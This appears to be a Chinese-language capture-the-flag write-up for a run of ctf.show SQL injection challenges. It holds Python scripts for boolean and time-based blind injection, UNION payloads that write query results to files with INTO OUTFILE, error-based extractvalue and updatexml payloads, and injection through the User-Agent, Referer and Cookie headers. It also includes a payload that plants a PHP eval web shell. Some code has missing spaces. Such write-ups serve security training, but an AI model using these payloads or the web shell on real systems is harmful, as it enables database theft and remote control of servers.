if __name__ == '__main__': url = 'http://6398c35d-03b5-43f2-8f62-4a82ae9777d9.challenge.ctf.show/?id=' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2
# payload = f'1\' andif(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)--+' # payload = f'1\' andif(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)--+' # payload = f'1\' andif(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpuck"),{i},1))>{mid},1,0)--+' payload = f'1\' andif(ascii(substr((select group_concat(flag33) from ctfshow.flagpuck),{i},1))>{mid},1,0)--+'
r = requests.get(url=url + payload) if 'You are in' in r.text: low = mid + 1 else: high = mid
if low != 32: result += chr(low) else: break print(result)
//将表名写入到1.txt文件中,访问文件得到表名flagdk ?id=1')) union select1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'into outfile "/var/www/html/1.txt"--+
//将列名写入到2.txt下,访问文件得到列名 ?id=1')) union select1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk'into outfile "/var/www/html/2.txt"--+
//将flag写入到3.txt,访问文件得到flag ?id=1')) union select1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/3.txt"--+
这题也可以在写入的文件里插入一句话木马,然后蚁剑连接得到flag ?id=1')) union select1,2,'<?php @eval($_POST[1]);?>'into outfile 'D:\\SoftWare\\PHPstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\a.php' --+
import requests import time if __name__ == '__main__' : url = 'http://e8c67313-e60b-4134-a12c-c84afb13e1b3.challenge.ctf.show/?id=' result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 payload = f'1\' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,sleep(1)) --+' #payload = f'1\' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,sleep(2)) --+' #payload = f'1\' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagugs"),{i},1))>{mid},1,sleep(2)) --+' #payload = f'1\' and if(ascii(substr((select group_concat(flag43s) from ctfshow.flagugs),{i},1))>{mid},1,sleep(2)) --+' # print(payload) stime=time.time() r = requests.get(url=url + payload) iftime.time()-stime<1: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)
web-526 时间盲注id=1”
同样是时间盲注,就是换成了双引号闭合
web-527 POST字符型注入username=1’
这里就到了POST注入了。
1 2 3 4 5 6 7 8
在username输入框中注入,也可以抓包在请求头中注入 1' union select1,group_concat(schema_name)from information_schema.schemata#
1' union select1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'#
1' union select1,group_concat(column_name)from information_schema.columns where table_name='flagugsd'#
1' union select1,group_concat(flag43s) from ctfshow.flagugsd#
web-528 POST字符型注入username=1”)
前面的步骤都一样,只是换成了”)注入
1
1") union select1,group_concat(flag43as) from ctfshow.flagugsds#
web-529 报错注入username=1’)
闭合错误时有语句错误回显,所以可以使用报错注入。
1 2 3 4 5 6 7 8 9
admin') and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))#
admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))#
admin') and extractvalue(1,concat(0x7e,(select right(group_concat(flag4),20) from ctfshow.flag),0x7e))#
报错注入用or也可以,而且可以用()来绕过空格过滤 例如: admin')or(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))#
import requests importtime url="https://5bb66a59-8c81-497d-99f9-339726c2ffa1.challenge.ctf.show/" flag="" i=0 whileTrue: low=32 high=127 i=i+1 while low<high: mid=(low+high) // 2 data={ 'uname':f'admin" and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)#', 'passwd':'123' } response=requests.post(url=url,data=data) if response.text.find("flag.jpg")>0: low=mid+1 else: high=mid if low != 32: flag+=chr(low) else: break print(flag)
web-531 报错注入username=admin’
‘闭合,其他如上
web-532 报错注入username=admin”)
“)闭合,其他如上
web-533 报错注入password=1’
在密码行进行报错注入
判断闭合:
无论密码如何设置都会显示成功所以只有当你成功闭合后面写上错误语句时才会报错否则不会报错
1 2 3 4 5 6
1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)--+
1' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='flag'),0x7e),1)--+
1' and updatexml(1,concat(0x7e,(select (flag4) from ctfshow.flag),0x7e),1)--+ 1' and updatexml(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e),1)--+
payload = 'group_concat(table_name) from information_schema.tables where table_schema="ctfshow"'; # payload = 'group_concat(column_name) from information_schema.columns where table_schema="ctfshow"'; # payload = 'group_concat(flag4) from ctfshow.flag'; #payload = 'right(flag4,20) from ctfshow.flag'
headers = { "User-Agent":f"'and extractvalue(1,concat(0x7e,(select {payload}),0x7e)) and '1'='1", } data = { 'uname':'admin', 'passwd':'admin' } url = 'http://00b0f88f-cc13-4a9b-bdfe-03e9f25c7bcc.challenge.ctf.show/' r = requests.post(url, headers=headers, data=data) print(r.text)
payload = 'group_concat(table_name) from information_schema.tables where table_schema="ctfshow"'; # payload = 'group_concat(column_name) from information_schema.columns where table_schema="ctfshow"'; # payload = 'group_concat(flag4) from ctfshow.flag'; #payload = 'right(flag4,20) from ctfshow.flag'
headers = { "Referer":f"'and extractvalue(1,concat(0x7e,(select {payload}),0x7e)) and '1'='1", } data = { 'uname':'admin', 'passwd':'admin' } url = 'http://00b0f88f-cc13-4a9b-bdfe-03e9f25c7bcc.challenge.ctf.show/' r = requests.post(url, headers=headers, data=data) print(r.text)
payload = 'group_concat(table_name) from information_schema.tables where table_schema="ctfshow"'; # payload = 'group_concat(column_name) from information_schema.columns where table_schema="ctfshow"'; # payload = 'group_concat(flag4) from ctfshow.flag'; #payload = 'right(flag4,20) from ctfshow.flag'
headers = { "Cookie":f"uname=admin'or extractvalue(1,concat(0x7e,(select {payload}),0x7e)) and '1'='1", } data = { 'uname':'admin', 'passwd':'admin' } url = 'http://00b0f88f-cc13-4a9b-bdfe-03e9f25c7bcc.challenge.ctf.show/' r = requests.post(url, headers=headers, data=data) print(r.text)
web-537 Cookie注入、base64加密、uname=’)
用简单命令先测试闭合方式
1 2 3 4 5 6 7 8 9
多了个base64
加密
进行加密即可 ') union select 1,group_concat(flag4),3from ctfshow.flag #